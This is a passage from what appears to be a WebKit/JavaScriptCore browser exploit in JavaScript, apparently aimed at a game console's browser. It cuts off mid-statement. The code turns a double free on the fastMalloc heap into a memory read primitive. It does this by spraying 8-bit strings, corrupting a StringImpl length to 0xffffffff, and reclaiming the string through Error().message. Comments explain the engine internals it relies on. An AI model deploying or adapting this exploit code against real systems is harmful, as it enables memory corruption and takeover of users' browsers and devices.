| 349 | |
| 350 | // we now have a double free on the fastMalloc heap |
| 351 | async function make_rdr(view) { |
| 352 | let str_wait = 0; |
| 353 | const strs = []; |
| 354 | const u32 = new Uint32Array(1); |
| 355 | const u8 = new Uint8Array(u32.buffer); |
| 356 | const marker_offset = original_strlen - 4; |
| 357 | const pad = 'B'.repeat(marker_offset); |
| 358 | |
| 359 | // debug_log('start string spray'); |
| 360 | while (true) { |
| 361 | for (let i = 0; i < num_strs; i++) { |
| 362 | u32[0] = i; |
| 363 | // on versions like 8.0x: |
| 364 | // * String.fromCharCode() won't create a 8-bit string. so we use |
| 365 | // fromCodePoint() instead |
| 366 | // * Array.prototype.join() won't try to convert 16-bit strings to |
| 367 | // 8-bit |
| 368 | // |
| 369 | // given the restrictions above, we will ensure "str" is always a |
| 370 | // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) |
| 371 | // to see that String.prototype.repeat() will create a 8-bit string |
| 372 | // if the repeated string's length is 1 |
| 373 | // |
| 374 | // Array.prototype.join() calls JSC::JSStringJoiner::join(). it |
| 375 | // returns a plain JSString (not a JSRopeString). that means we |
| 376 | // have allocated a WTF::StringImpl with the proper size and whose |
| 377 | // string data is inlined |
| 378 | const str = [pad, String.fromCodePoint(...u8)].join(''); |
| 379 | strs.push(str); |
| 380 | } |
| 381 | |
| 382 | if (view.read32(off.strimpl_inline_str) === 0x42424242) { |
| 383 | view.write32(off.strimpl_strlen, 0xffffffff); |
| 384 | break; |
| 385 | } |
| 386 | |
| 387 | strs.length = 0; |
| 388 | gc(); |
| 389 | await sleep(); |
| 390 | str_wait++; |
| 391 | } |
| 392 | // debug_log(`JSString reused memory at loop: ${str_wait}`); |
| 393 | |
| 394 | const idx = view.read32(off.strimpl_inline_str + marker_offset); |
| 395 | // debug_log(`str index: ${hex(idx)}`); |
| 396 | // debug_log('view:'); |
| 397 | // debug_log(view); |
| 398 | |
| 399 | // versions like 8.0x have a JSC::JSString that have their own m_length |
| 400 | // field. strings consult that field instead of the m_length of their |
| 401 | // StringImpl |
| 402 | // |
| 403 | // we work around this by passing the string to Error. |
| 404 | // ErrorInstance::create() will then create a new JSString initialized from |
| 405 | // the StringImpl of the message argument |
| 406 | const rstr = Error(strs[idx]).message; |
| 407 | // debug_log(`str len: ${hex(rstr.length)}`); |
| 408 | if (rstr.length === 0xffffffff) { |